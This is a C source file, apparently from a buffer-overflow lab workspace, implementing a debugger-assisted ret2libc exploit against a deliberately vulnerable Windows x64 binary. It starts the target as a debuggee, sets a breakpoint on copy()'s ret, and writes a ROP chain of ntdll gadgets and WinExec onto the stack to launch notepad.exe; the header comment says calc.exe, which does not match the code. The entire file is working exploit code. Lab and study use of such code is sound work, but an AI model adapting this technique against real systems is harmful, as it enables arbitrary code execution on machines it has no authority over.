Files
go_pwner/workspace/bof_basic/solve_ret2libc.c
T
2026-07-18 21:37:15 +03:00

140 lines
5.5 KiB
C

// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64).
//
// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry
// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and
// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec),
// so instead we launch the target as our own debuggee, let the harmless placeholder
// argv[1] overflow the saved return address as usual, then - right before the `ret`
// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has
// no null-byte restriction at all.
//
// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off):
// [0..7] "calc.exe"
// [8] 0x00
// [56..63] &(pop rcx; ret) <- overwritten saved return address
// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe")
// [72..79] &(pop rdx; pop r11; ret)
// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL)
// [88..95] 0 <- popped into R11 (unused)
// [96..103]&WinExec <- final ret target
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define TARGET_EXE "bof_noASLR_noCANARY.exe"
#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL)
#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL)
#define RET_OFFSET 56
// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves)
#define POP_RCX_RET_RVA 0x1a853
#define POP_RDX_POP_R11_RET_RVA 0x8cc27
int main(void) {
char placeholder[71];
memset(placeholder, 'A', 70);
placeholder[70] = '\0';
char cmdline[256];
snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
if (!hNtdll || !hK32) {
printf("[-] failed to resolve module handles\n");
return 1;
}
ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll;
ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA;
ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA;
ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec");
printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase);
printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet);
printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret);
printf("[*] WinExec: 0x%p\n", (void*)winExec);
BYTE origByte = 0;
SIZE_T bytesIO;
BOOL patched = FALSE;
DEBUG_EVENT dbg;
while (WaitForDebugEvent(&dbg, INFINITE)) {
DWORD contStatus = DBG_CONTINUE;
if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
BYTE int3 = 0xCC;
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO);
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile);
}
else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord;
if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT &&
er->ExceptionAddress == RET_INSN_ADDR) {
patched = TRUE;
printf("[+] hit breakpoint at copy()'s ret, patching stack...\n");
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
CONTEXT ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR;
SetThreadContext(pi.hThread, &ctx);
const char *cmd = "notepad.exe";
BYTE chain[104];
memset(chain, 0, sizeof(chain));
memcpy(chain, cmd, strlen(cmd) + 1);
ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET);
p[0] = popRcxRet;
p[1] = BUF_ADDR;
p[2] = popRdxR11Ret;
p[3] = 1;
p[4] = 0;
p[5] = winExec;
WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO);
FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain));
printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO);
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
continue;
}
}
else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode);
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
break;
}
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit
return 0;
}